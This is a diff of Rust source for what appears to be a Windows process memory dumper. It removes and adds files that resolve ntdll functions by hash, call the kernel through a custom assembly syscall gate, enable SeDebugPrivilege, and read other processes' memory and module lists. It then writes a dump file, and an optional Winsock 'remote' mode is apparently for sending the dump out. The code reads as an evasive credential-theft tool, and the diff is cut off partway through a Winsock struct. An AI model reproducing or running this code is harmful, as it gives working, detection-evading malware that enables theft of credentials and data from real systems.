pub fn save_file(dump_file_bytes: Vec<u8>, dump_file_name: &str) -> i32 {
|
||||
use core::{ffi::c_void, ptr::null_mut};
|
||||
|
||||
unsafe {
|
||||
let mut handle: *mut c_void = null_mut();
|
||||
|
||||
// Retrieve current directory and handle failure
|
||||
let cwd = get_current_directory();
|
||||
if cwd.is_empty() {
|
||||
debug_println!("[-] Failed to retrieve current working directory");
|
||||
return -1;
|
||||
}
|
||||
|
||||
let mut buffer = [0u8; 1024];
|
||||
|
||||
// Build NT path and handle failure
|
||||
let file_name = build_nt_path(&cwd, dump_file_name, &mut buffer);
|
||||
if file_name.is_empty() {
|
||||
debug_println!("[-] Failed to build NT path for file");
|
||||
return -1;
|
||||
}
|
||||
|
||||
let file_path: Vec<u16> = {
|
||||
let mut vec = Vec::with_capacity(file_name.len() + 1);
|
||||
for c in file_name.encode_utf16() {
|
||||
vec.push(c);
|
||||
}
|
||||
vec.push(0);
|
||||
vec
|
||||
};
|
||||
|
||||
// Initialize the Unicode string for the registry value name
|
||||
let mut unicode_string = UnicodeString::new();
|
||||
unicode_string.init(file_path.as_ptr());
|
||||
|
||||
let mut object_attributes = ObjectAttributes::new();
|
||||
ObjectAttributes::initialize(
|
||||
&mut object_attributes,
|
||||
&mut unicode_string, // NT path name
|
||||
0, // Flags for case-insensitivity and inheritance
|
||||
null_mut(), // No root directory
|
||||
null_mut(), // No security descriptor
|
||||
);
|
||||
|
||||
let mut io_status_block: IoStatusBlock = core::mem::zeroed();
|
||||
|
||||
let allocation_size: *mut LargeInteger = null_mut();
|
||||
|
||||
let desired_access: AccessMask = FILE_GENERIC_WRITE | SYNCHRONIZE;
|
||||
|
||||
let share_access: AccessMask = FILE_SHARE_READ | FILE_SHARE_WRITE;
|
||||
|
||||
let create_options: AccessMask = FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT;
|
||||
|
||||
let create_disposition: AccessMask = FILE_OVERWRITE_IF;
|
||||
|
||||
// Create the file using NtCreateFile
|
||||
let status: i32 = instance().ntdll.nt_create_file.run(
|
||||
&mut handle,
|
||||
desired_access,
|
||||
&mut object_attributes,
|
||||
&mut io_status_block,
|
||||
allocation_size,
|
||||
0,
|
||||
share_access,
|
||||
create_disposition,
|
||||
create_options,
|
||||
null_mut(),
|
||||
0,
|
||||
);
|
||||
|
||||
if status < 0 {
|
||||
debug_println!(
|
||||
"[-] Failed to create file with status: NTSTATUS: 0x{:X}",
|
||||
status
|
||||
);
|
||||
return status;
|
||||
}
|
||||
|
||||
// Initialize IO_STATUS_BLOCK for NtWriteFile
|
||||
let mut io_status_block_write: IoStatusBlock = core::mem::zeroed();
|
||||
|
||||
// Write the file content using NtWriteFile
|
||||
let status_write = instance().ntdll.nt_write_file.run(
|
||||
handle,
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
&mut io_status_block_write,
|
||||
dump_file_bytes.as_ptr() as *mut c_void,
|
||||
dump_file_bytes.len() as u32,
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
);
|
||||
|
||||
if status_write < 0 {
|
||||
debug_println!(
|
||||
"[-] Failed to write to file with status: NTSTATUS: 0x{:X}",
|
||||
status_write
|
||||
);
|
||||
instance().ntdll.nt_close.run(handle);
|
||||
} else {
|
||||
debug_println!(
|
||||
"[+] File {} ({}) created successfully.",
|
||||
file_name,
|
||||
dump_file_bytes.len()
|
||||
);
|
||||
}
|
||||
|
||||
// Close the file handle
|
||||
instance().ntdll.nt_close.run(handle);
|
||||
|
||||
status_write
|
||||
}
|
||||
}
|
||||
@@ -1,157 +0,0 @@
|
||||
use core::{
|
||||
cell::UnsafeCell,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
};
|
||||
|
||||
use super::syscall_gate::get_ssn;
|
||||
|
||||
use crate::{
|
||||
common::ldrapi::{ldr_function, ldr_module},
|
||||
ntapi::syscall::NtDll,
|
||||
};
|
||||
|
||||
#[repr(C)]
|
||||
pub struct Instance {
|
||||
pub ntdll: NtDll, // NtDll API functions
|
||||
}
|
||||
|
||||
impl Instance {
|
||||
pub fn new() -> Self {
|
||||
Instance {
|
||||
ntdll: NtDll::new(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static INIT_INSTANCE: AtomicBool = AtomicBool::new(false);
|
||||
|
||||
pub static mut INSTANCE: UnsafeCell<Option<Instance>> = UnsafeCell::new(None);
|
||||
|
||||
/// Retrieves a reference to the global instance.
|
||||
pub unsafe fn instance() -> &'static Instance {
|
||||
ensure_initialized();
|
||||
return INSTANCE.get().as_ref().unwrap().as_ref().unwrap();
|
||||
}
|
||||
|
||||
/// Function to ensure that initialization is performed if it hasn't been already.
|
||||
fn ensure_initialized() {
|
||||
unsafe {
|
||||
if !INIT_INSTANCE.load(Ordering::Acquire) {
|
||||
init_native();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
unsafe fn init_native() {
|
||||
if !INIT_INSTANCE.load(Ordering::Acquire) {
|
||||
let mut instance = Instance::new();
|
||||
|
||||
const NTDLL_HASH: u32 = 0x1edab0ed;
|
||||
|
||||
instance.ntdll.module_base = ldr_module(NTDLL_HASH);
|
||||
|
||||
// Resolve LdrLoadDll
|
||||
let ldr_load_dll_addr = ldr_function(instance.ntdll.module_base, 0x9e456a43);
|
||||
instance.ntdll.ldr_load_dll = core::mem::transmute(ldr_load_dll_addr);
|
||||
|
||||
// NtAllocateVirtualMemory
|
||||
instance.ntdll.nt_allocate_virtual_memory.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_allocate_virtual_memory.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_allocate_virtual_memory.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_allocate_virtual_memory.syscall.address);
|
||||
|
||||
// NtFreeVirtualMemory
|
||||
instance.ntdll.nt_free_virtual_memory.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_free_virtual_memory.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_free_virtual_memory.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_free_virtual_memory.syscall.address);
|
||||
|
||||
// NtReadVirtualMemory
|
||||
instance.ntdll.nt_read_virtual_memory.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_read_virtual_memory.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_read_virtual_memory.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_read_virtual_memory.syscall.address);
|
||||
|
||||
// NtQueryVirtualMemory
|
||||
instance.ntdll.nt_query_virtual_memory.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_query_virtual_memory.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_query_virtual_memory.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_query_virtual_memory.syscall.address);
|
||||
|
||||
// NtOpenProcess
|
||||
instance.ntdll.nt_open_process.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_open_process.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_open_process.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_open_process.syscall.address);
|
||||
|
||||
// NtQuerySystemInformation
|
||||
instance.ntdll.nt_query_system_information.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_query_system_information.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_query_system_information.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_query_system_information.syscall.address);
|
||||
|
||||
// NtQueryInformationProcess
|
||||
instance.ntdll.nt_query_information_process.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_query_information_process.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_query_information_process.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_query_information_process.syscall.address);
|
||||
|
||||
// NtCreateFile
|
||||
instance.ntdll.nt_create_file.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_create_file.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_create_file.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_create_file.syscall.address);
|
||||
|
||||
// NtWriteFile
|
||||
instance.ntdll.nt_write_file.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_write_file.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_write_file.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_write_file.syscall.address);
|
||||
|
||||
// NtClose
|
||||
instance.ntdll.nt_close.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_close.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_close.syscall.number = get_ssn(instance.ntdll.nt_close.syscall.address);
|
||||
|
||||
// NtOpenProcessToken
|
||||
instance.ntdll.nt_open_process_token.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_open_process_token.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_open_process_token.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_open_process_token.syscall.address);
|
||||
|
||||
// NtAdjustPrivilegesToken
|
||||
instance.ntdll.nt_adjust_privileges_token.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_adjust_privileges_token.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_adjust_privileges_token.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_adjust_privileges_token.syscall.address);
|
||||
|
||||
*INSTANCE.get() = Some(instance);
|
||||
|
||||
// Set the initialization flag to true.
|
||||
INIT_INSTANCE.store(true, Ordering::Release);
|
||||
}
|
||||
}
|
||||
@@ -1,249 +0,0 @@
|
||||
#[cfg(feature = "verbose")]
|
||||
use libc_print::libc_println;
|
||||
|
||||
use alloc::string::String;
|
||||
use alloc::vec;
|
||||
use alloc::vec::Vec;
|
||||
use core::ffi::c_void;
|
||||
|
||||
use crate::{
|
||||
common::utils::dbj2_hash,
|
||||
debug_println,
|
||||
mdfile::ModuleInfo,
|
||||
ntapi::def::{MemoryBasicInformation, ProcessBasicInformation},
|
||||
};
|
||||
|
||||
use super::g_instance::instance;
|
||||
|
||||
/// Reads memory from a remote process into a buffer.
|
||||
///
|
||||
/// Takes a process handle, an address, and the size of the memory to read.
|
||||
/// Returns a `Vec<u8>` containing the memory contents, or `None` if reading fails.
|
||||
pub fn read_memory(
|
||||
process_handle: *mut c_void,
|
||||
address: *mut c_void,
|
||||
size: usize,
|
||||
) -> Option<Vec<u8>> {
|
||||
// Allocate a buffer for the memory to be read.
|
||||
let mut buffer = vec![0u8; size];
|
||||
let mut bytes_read: usize = 0;
|
||||
|
||||
// Perform the memory read operation using the NT API.
|
||||
let result = unsafe {
|
||||
instance().ntdll.nt_read_virtual_memory.run(
|
||||
process_handle,
|
||||
address,
|
||||
buffer.as_mut_ptr() as *mut c_void,
|
||||
size,
|
||||
&mut bytes_read,
|
||||
)
|
||||
};
|
||||
|
||||
// Return the buffer if successful, otherwise return None.
|
||||
if result == 0 && bytes_read > 0 {
|
||||
Some(buffer)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Queries information about a memory region in a remote process.
|
||||
///
|
||||
/// Returns a `MemoryBasicInformation` struct containing details about the memory region,
|
||||
/// or `None` if querying fails.
|
||||
pub fn query_memory_info(
|
||||
process_handle: *mut c_void,
|
||||
base_address: *mut c_void,
|
||||
) -> Option<MemoryBasicInformation> {
|
||||
let mut mem_info: MemoryBasicInformation = unsafe { core::mem::zeroed() };
|
||||
|
||||
// Query memory information for the given address in the remote process.
|
||||
let result = unsafe {
|
||||
instance().ntdll.nt_query_virtual_memory.run(
|
||||
process_handle,
|
||||
base_address,
|
||||
0,
|
||||
&mut mem_info as *mut _ as *mut c_void,
|
||||
core::mem::size_of::<MemoryBasicInformation>() as usize,
|
||||
core::ptr::null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
// Return memory information if successful, otherwise return None.
|
||||
if result == 0 {
|
||||
Some(mem_info)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Reads a wide string (UTF-16) from a remote process's memory.
|
||||
///
|
||||
/// Converts the UTF-16 encoded string from the remote process into a `String` and returns it.
|
||||
/// If reading fails or the string is invalid, returns an empty `String`.
|
||||
pub fn read_remote_wstr(process_handle: *mut c_void, mem_address: *mut c_void) -> String {
|
||||
let mut buffer = vec![0u8; 512]; // Buffer for reading memory.
|
||||
let mut bytes_read: usize = 0;
|
||||
|
||||
// Read memory from the remote process.
|
||||
let status = unsafe {
|
||||
instance().ntdll.nt_read_virtual_memory.run(
|
||||
process_handle,
|
||||
mem_address,
|
||||
buffer.as_mut_ptr() as *mut c_void,
|
||||
buffer.len(),
|
||||
&mut bytes_read,
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
let mut u16_vec = Vec::new();
|
||||
// Process the buffer in chunks of 2 bytes (for UTF-16 encoding).
|
||||
for chunk in buffer.chunks(2) {
|
||||
if chunk.len() < 2 {
|
||||
break;
|
||||
}
|
||||
let word = u16::from_le_bytes([chunk[0], chunk[1]]);
|
||||
if word == 0 {
|
||||
break;
|
||||
}
|
||||
u16_vec.push(word);
|
||||
}
|
||||
// Convert the UTF-16 data into a Rust String.
|
||||
String::from_utf16(&u16_vec).unwrap_or_else(|_| String::new())
|
||||
} else {
|
||||
String::new()
|
||||
}
|
||||
}
|
||||
|
||||
/// Reads a pointer-sized integer from a remote process's memory.
|
||||
///
|
||||
/// Returns the integer value read from the memory address in the remote process,
|
||||
/// or `0` if the read operation fails.
|
||||
pub fn read_remote_int_ptr(process_handle: *mut c_void, mem_address: *mut c_void) -> usize {
|
||||
let mut buffer = [0u8; 8]; // Buffer for reading an integer (64 bits).
|
||||
let mut bytes_read: usize = 0;
|
||||
|
||||
// Read the pointer-sized integer from the remote process.
|
||||
let status = unsafe {
|
||||
instance().ntdll.nt_read_virtual_memory.run(
|
||||
process_handle,
|
||||
mem_address,
|
||||
buffer.as_mut_ptr() as *mut c_void,
|
||||
buffer.len(),
|
||||
&mut bytes_read,
|
||||
)
|
||||
};
|
||||
|
||||
// Convert the bytes into a 64-bit unsigned integer and return it as usize.
|
||||
if status == 0 {
|
||||
let value = u64::from_le_bytes(buffer);
|
||||
value as usize
|
||||
} else {
|
||||
0
|
||||
}
|
||||
}
|
||||
|
||||
/// Retrieves the list of loaded modules in a process's memory.
|
||||
///
|
||||
/// Uses the process handle to query the PEB (Process Environment Block) and retrieves
|
||||
/// information about the loaded modules in the process. Optionally filters modules by a hash.
|
||||
pub fn get_modules_info(process_handle: *mut c_void, module_hash: Option<u32>) -> Vec<ModuleInfo> {
|
||||
let mut process_information: ProcessBasicInformation = unsafe { core::mem::zeroed() };
|
||||
let mut return_length: u32 = 0;
|
||||
|
||||
// Query the process information to get the PEB base address.
|
||||
let status = unsafe {
|
||||
instance().ntdll.nt_query_information_process.run(
|
||||
process_handle as *mut c_void,
|
||||
0, // ProcessBasicInformation
|
||||
&mut process_information as *mut _ as *mut c_void,
|
||||
core::mem::size_of::<ProcessBasicInformation>() as u32,
|
||||
&mut return_length,
|
||||
)
|
||||
};
|
||||
|
||||
if status != 0 {
|
||||
panic!("[-] Failed to query process information.");
|
||||
}
|
||||
|
||||
debug_println!(
|
||||
"[+] PEB Base Address: 0x{:x}",
|
||||
process_information.peb_base_address as usize
|
||||
);
|
||||
|
||||
// Compute the address of the loader's data structure from the PEB.
|
||||
let ldr_offset = 0x18;
|
||||
let ldr_pointer = (process_information.peb_base_address as usize + ldr_offset) as *mut c_void;
|
||||
let ldr_address = read_remote_int_ptr(process_handle, ldr_pointer);
|
||||
|
||||
// Get the address of the module list from the loader data.
|
||||
let in_initialization_order_module_list_offset = 0x30;
|
||||
let module_list_address =
|
||||
(ldr_address + in_initialization_order_module_list_offset) as *mut c_void;
|
||||
let mut next_flink = read_remote_int_ptr(process_handle, module_list_address);
|
||||
|
||||
// Offsets within the LDR module structure.
|
||||
let flink_dllbase_offset = 0x20;
|
||||
let flink_buffer_fulldllname_offset = 0x40;
|
||||
let flink_buffer_offset = 0x50;
|
||||
|
||||
let mut module_info_arr: Vec<ModuleInfo> = Vec::new();
|
||||
let mut dll_base = 1337;
|
||||
|
||||
// Loop through the module list until the base address is zero.
|
||||
while dll_base != 0 {
|
||||
next_flink -= 0x10;
|
||||
|
||||
// Read the base address of the module.
|
||||
dll_base = read_remote_int_ptr(
|
||||
process_handle,
|
||||
(next_flink + flink_dllbase_offset) as *mut c_void,
|
||||
);
|
||||
if dll_base == 0 {
|
||||
break;
|
||||
}
|
||||
|
||||
// Read the base and full DLL names from memory.
|
||||
let base_dll_name_ptr = read_remote_int_ptr(
|
||||
process_handle,
|
||||
(next_flink + flink_buffer_offset) as *mut c_void,
|
||||
) as *mut c_void;
|
||||
let base_dll_name = read_remote_wstr(process_handle, base_dll_name_ptr);
|
||||
|
||||
let full_dll_name_ptr = read_remote_int_ptr(
|
||||
process_handle,
|
||||
(next_flink + flink_buffer_fulldllname_offset) as *mut c_void,
|
||||
) as *mut c_void;
|
||||
let full_dll_name = read_remote_wstr(process_handle, full_dll_name_ptr);
|
||||
|
||||
// If a module hash is provided, filter by hash; otherwise, include all modules.
|
||||
match module_hash {
|
||||
Some(value) => {
|
||||
if value == dbj2_hash(base_dll_name.clone().as_bytes()) {
|
||||
module_info_arr.push(ModuleInfo {
|
||||
base_name: base_dll_name,
|
||||
full_dll_name,
|
||||
base_address: dll_base,
|
||||
region_size: 0,
|
||||
});
|
||||
|
||||
break; // Stop searching after finding the matching module.
|
||||
}
|
||||
}
|
||||
None => {
|
||||
module_info_arr.push(ModuleInfo {
|
||||
base_name: base_dll_name,
|
||||
full_dll_name,
|
||||
base_address: dll_base,
|
||||
region_size: 0,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// Move to the next module in the list.
|
||||
next_flink = read_remote_int_ptr(process_handle, (next_flink + 0x10) as *mut c_void);
|
||||
}
|
||||
|
||||
module_info_arr
|
||||
}
|
||||
@@ -1,12 +0,0 @@
|
||||
#[cfg(not(feature = "remote"))]
|
||||
pub mod file;
|
||||
|
||||
pub mod allocator;
|
||||
pub mod def;
|
||||
pub mod g_instance;
|
||||
pub mod memory;
|
||||
pub mod privilege;
|
||||
pub mod process;
|
||||
pub mod syscall;
|
||||
pub mod syscall_gate;
|
||||
pub mod utils;
|
||||
@@ -1,66 +0,0 @@
|
||||
#[cfg(feature = "verbose")]
|
||||
use libc_print::libc_println;
|
||||
|
||||
use core::{ffi::c_void, ptr::null_mut};
|
||||
|
||||
use crate::debug_println;
|
||||
|
||||
use super::{
|
||||
def::{TokenPrivileges, LUID},
|
||||
g_instance::instance,
|
||||
};
|
||||
|
||||
/// This function enables the SeDebugPrivilege privilege using the NT API.
|
||||
pub unsafe fn enable_se_debug_privilege() -> i32 {
|
||||
const TOKEN_ADJUST_PRIVILEGES: u32 = 32u32;
|
||||
const TOKEN_QUERY: u32 = 8u32;
|
||||
|
||||
let current_process_handle = -1isize as *mut c_void;
|
||||
let mut token_handle: *mut c_void = null_mut();
|
||||
|
||||
// Open the process token.
|
||||
let ntstatus = instance().ntdll.nt_open_process_token.run(
|
||||
current_process_handle,
|
||||
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,
|
||||
&mut token_handle,
|
||||
);
|
||||
|
||||
if ntstatus != 0 {
|
||||
debug_println!(
|
||||
"[-] Error calling NtOpenProcessToken. NTSTATUS: 0x{:X}",
|
||||
ntstatus
|
||||
);
|
||||
return ntstatus;
|
||||
}
|
||||
|
||||
let luid = LUID {
|
||||
low_part: 20,
|
||||
high_part: 0,
|
||||
};
|
||||
|
||||
let mut token_privileges = TokenPrivileges {
|
||||
privilege_count: 1,
|
||||
luid: luid,
|
||||
attributes: 0x00000002,
|
||||
};
|
||||
|
||||
// Adjust token privileges to enable SeDebugPrivilege.
|
||||
let ntstatus = instance().ntdll.nt_adjust_privileges_token.run(
|
||||
token_handle,
|
||||
false,
|
||||
&mut token_privileges,
|
||||
core::mem::size_of::<TokenPrivileges>() as u32,
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
);
|
||||
|
||||
if ntstatus != 0 {
|
||||
debug_println!(
|
||||
"[-] Error calling NtAdjustPrivilegesToken. NTSTATUS: 0x{:X}",
|
||||
ntstatus
|
||||
);
|
||||
return ntstatus;
|
||||
}
|
||||
|
||||
ntstatus
|
||||
}
|
||||
@@ -1,81 +0,0 @@
|
||||
use super::def::{find_peb, OSVersionInfo};
|
||||
|
||||
#[cfg(not(feature = "remote"))]
|
||||
use crate::{common::utils::unicodestring_to_string, ntapi::def::RtlUserProcessParameters};
|
||||
#[cfg(not(feature = "remote"))]
|
||||
use alloc::string::String;
|
||||
|
||||
pub unsafe fn rtl_get_version(lp_version_information: &mut OSVersionInfo) -> i32 {
|
||||
// Get the pointer to the PEB
|
||||
let peb = find_peb();
|
||||
|
||||
if lp_version_information.dw_os_version_info_size
|
||||
!= core::mem::size_of::<OSVersionInfo>() as u32
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Fill in the version information from the PEB
|
||||
lp_version_information.dw_major_version = (*peb).os_major_version;
|
||||
lp_version_information.dw_minor_version = (*peb).os_minor_version;
|
||||
lp_version_information.dw_build_number = (*peb).os_build_number;
|
||||
lp_version_information.dw_platform_id = (*peb).os_platform_id;
|
||||
lp_version_information.sz_csd_version.fill(0);
|
||||
|
||||
0
|
||||
}
|
||||
|
||||
/// Retrieves the current working directory of the process by accessing the Process Environment Block (PEB).
|
||||
#[cfg(not(feature = "remote"))]
|
||||
pub fn get_current_directory() -> String {
|
||||
unsafe {
|
||||
let peb = find_peb();
|
||||
if !peb.is_null() {
|
||||
let process_parameters = (*peb).process_parameters as *mut RtlUserProcessParameters;
|
||||
let cur_dir = &mut process_parameters.as_mut().unwrap().current_directory_path;
|
||||
|
||||
let dir_str = unicodestring_to_string(&(*cur_dir));
|
||||
if dir_str.is_some() {
|
||||
return dir_str.unwrap();
|
||||
}
|
||||
}
|
||||
}
|
||||
String::new()
|
||||
}
|
||||
|
||||
/// Builds an NT path based on the current working directory (cwd) and a file name.
|
||||
#[cfg(not(feature = "remote"))]
|
||||
pub fn build_nt_path<'a>(cwd: &str, file_name: &str, buffer: &'a mut [u8]) -> &'a str {
|
||||
let mut offset = 0;
|
||||
|
||||
let nt_prefix = b"\\??\\";
|
||||
if nt_prefix.len() > buffer.len() {
|
||||
// debug_println!("[-] Buffer too small to hold NT prefix.");
|
||||
return "";
|
||||
}
|
||||
buffer[offset..offset + nt_prefix.len()].copy_from_slice(nt_prefix);
|
||||
offset += nt_prefix.len();
|
||||
|
||||
let cwd_bytes = cwd.as_bytes();
|
||||
if offset + cwd_bytes.len() > buffer.len() {
|
||||
// debug_println!("[-] Buffer too small to hold current working directory.");
|
||||
return "";
|
||||
}
|
||||
buffer[offset..offset + cwd_bytes.len()].copy_from_slice(cwd_bytes);
|
||||
offset += cwd_bytes.len();
|
||||
|
||||
let file_name_bytes = file_name.as_bytes();
|
||||
if offset + file_name_bytes.len() > buffer.len() {
|
||||
// debug_println!("[-] Buffer too small to hold file name.");
|
||||
return "";
|
||||
}
|
||||
buffer[offset..offset + file_name_bytes.len()].copy_from_slice(file_name_bytes);
|
||||
offset += file_name_bytes.len();
|
||||
|
||||
if let Ok(result_str) = core::str::from_utf8(&buffer[..offset]) {
|
||||
result_str
|
||||
} else {
|
||||
// debug_println!("[-] Failed to convert buffer to UTF-8 string.");
|
||||
""
|
||||
}
|
||||
}
|
||||
+116
@@ -0,0 +1,116 @@
|
||||
use core::{arch::global_asm, ffi::c_void};
|
||||
|
||||
use crate::{
|
||||
dumpit,
|
||||
instance::Instance,
|
||||
native::{ntapi::init_ntdll_funcs, ntdef::find_peb},
|
||||
};
|
||||
|
||||
#[cfg(feature = "debug")]
|
||||
use crate::debug::k32::init_kernel32_funcs;
|
||||
|
||||
#[cfg(feature = "remote")]
|
||||
use crate::remote::winsock::init_winsock_funcs;
|
||||
|
||||
#[no_mangle]
|
||||
pub extern "C" fn initialize() {
|
||||
unsafe {
|
||||
// Stack allocation of Instance
|
||||
let mut instance = Instance::new();
|
||||
|
||||
// Append instance address to PEB.ProcessHeaps
|
||||
let instance_ptr: *mut c_void = &mut instance as *mut _ as *mut c_void;
|
||||
|
||||
let peb = find_peb();
|
||||
let process_heaps = (*peb).process_heaps as *mut *mut c_void;
|
||||
let number_of_heaps = (*peb).number_of_heaps as usize;
|
||||
|
||||
// Increase the NumberOfHeaps
|
||||
(*peb).number_of_heaps += 1;
|
||||
|
||||
// Append the instance_ptr
|
||||
*process_heaps.add(number_of_heaps) = instance_ptr;
|
||||
|
||||
// Proceed to main function
|
||||
main();
|
||||
}
|
||||
}
|
||||
|
||||
/// Initializes system modules and functions, and then starts a reverse shell.
|
||||
unsafe fn main() {
|
||||
init_ntdll_funcs();
|
||||
|
||||
#[cfg(feature = "debug")]
|
||||
init_kernel32_funcs();
|
||||
|
||||
#[cfg(feature = "remote")]
|
||||
init_winsock_funcs();
|
||||
|
||||
dumpit();
|
||||
}
|
||||
|
||||
global_asm!(
|
||||
r#"
|
||||
.globl _start
|
||||
.globl isyscall
|
||||
|
||||
.section .text
|
||||
|
||||
_start:
|
||||
push rsi
|
||||
mov rsi, rsp
|
||||
and rsp, 0xFFFFFFFFFFFFFFF0
|
||||
sub rsp, 0x20
|
||||
call initialize
|
||||
mov rsp, rsi
|
||||
pop rsi
|
||||
ret
|
||||
|
||||
isyscall:
|
||||
mov [rsp - 0x8], rsi
|
||||
mov [rsp - 0x10], rdi
|
||||
mov [rsp - 0x18], r12
|
||||
|
||||
xor r10, r10
|
||||
mov rax, rcx
|
||||
mov r10, rax
|
||||
|
||||
mov eax, ecx
|
||||
|
||||
mov r12, rdx
|
||||
mov rcx, r8
|
||||
|
||||
mov r10, r9
|
||||
mov rdx, [rsp + 0x28]
|
||||
mov r8, [rsp + 0x30]
|
||||
mov r9, [rsp + 0x38]
|
||||
|
||||
sub rcx, 0x4
|
||||
jle skip
|
||||
|
||||
lea rsi, [rsp + 0x40]
|
||||
lea rdi, [rsp + 0x28]
|
||||
|
||||
rep movsq
|
||||
skip:
|
||||
mov rcx, r12
|
||||
|
||||
mov rsi, [rsp - 0x8]
|
||||
mov rdi, [rsp - 0x10]
|
||||
mov r12, [rsp - 0x18]
|
||||
|
||||
jmp rcx
|
||||
"#
|
||||
);
|
||||
|
||||
extern "C" {
|
||||
pub fn _start();
|
||||
}
|
||||
|
||||
#[cfg(not(feature = "debug"))]
|
||||
#[macro_export]
|
||||
macro_rules! debug_println {
|
||||
($msg:expr) => {};
|
||||
($msg:expr, $val:expr) => {};
|
||||
($msg:expr, $val:expr, $as_hex:expr) => {};
|
||||
}
|
||||
+136
-125
@@ -1,21 +1,18 @@
|
||||
#[cfg(feature = "verbose")]
|
||||
use libc_print::libc_println;
|
||||
|
||||
use alloc::ffi::CString;
|
||||
use alloc::vec::Vec;
|
||||
|
||||
use core::{
|
||||
ffi::c_void,
|
||||
mem::{transmute, zeroed},
|
||||
ptr::{null, null_mut},
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
};
|
||||
|
||||
use crate::common::ldrapi::ldr_function;
|
||||
use crate::ntapi::def::UnicodeString;
|
||||
use crate::ntapi::g_instance::instance;
|
||||
use alloc::{ffi::CString, vec::Vec};
|
||||
|
||||
use crate::debug_println;
|
||||
use crate::{
|
||||
common::ldrapi::ldr_function, debug_println, instance::get_instance,
|
||||
native::ntdef::UnicodeString,
|
||||
};
|
||||
|
||||
#[allow(non_camel_case_types)]
|
||||
pub type SOCKET = usize;
|
||||
|
||||
// Data structures for Winsock
|
||||
#[repr(C)]
|
||||
@@ -60,6 +57,22 @@ pub struct AddrInfo {
|
||||
pub ai_next: *mut AddrInfo,
|
||||
}
|
||||
|
||||
#[allow(non_camel_case_types)]
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct FD_SET {
|
||||
pub fd_count: u32,
|
||||
pub fd_array: [SOCKET; 64],
|
||||
}
|
||||
|
||||
#[allow(non_camel_case_types)]
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct TIMEVAL {
|
||||
pub tv_sec: i32,
|
||||
pub tv_usec: i32,
|
||||
}
|
||||
|
||||
// Define function types for Winsock functions
|
||||
type WSAStartupFunc =
|
||||
unsafe extern "system" fn(wVersionRequested: u16, lpWsaData: *mut WsaData) -> i32;
|
||||
@@ -79,9 +92,18 @@ type GetAddrInfoFunc = unsafe extern "system" fn(
|
||||
) -> i32;
|
||||
type FreeAddrInfoFunc = unsafe extern "system" fn(res: *mut AddrInfo);
|
||||
|
||||
type Ioctlsocket = unsafe extern "system" fn(s: SOCKET, cmd: i32, argp: *mut u32) -> i32;
|
||||
|
||||
type Select = unsafe extern "system" fn(
|
||||
nfds: i32,
|
||||
readfds: *mut FD_SET,
|
||||
writefds: *mut FD_SET,
|
||||
exceptfds: *mut FD_SET,
|
||||
timeout: *mut TIMEVAL,
|
||||
) -> i32;
|
||||
|
||||
type WSAGetLastError = unsafe extern "system" fn() -> i32;
|
||||
|
||||
// Structure to hold function pointers
|
||||
pub struct Winsock {
|
||||
pub wsa_startup: WSAStartupFunc,
|
||||
pub wsa_cleanup: WSACleanupFunc,
|
||||
@@ -94,11 +116,12 @@ pub struct Winsock {
|
||||
pub htons: HtonsFunc,
|
||||
pub getaddrinfo: GetAddrInfoFunc,
|
||||
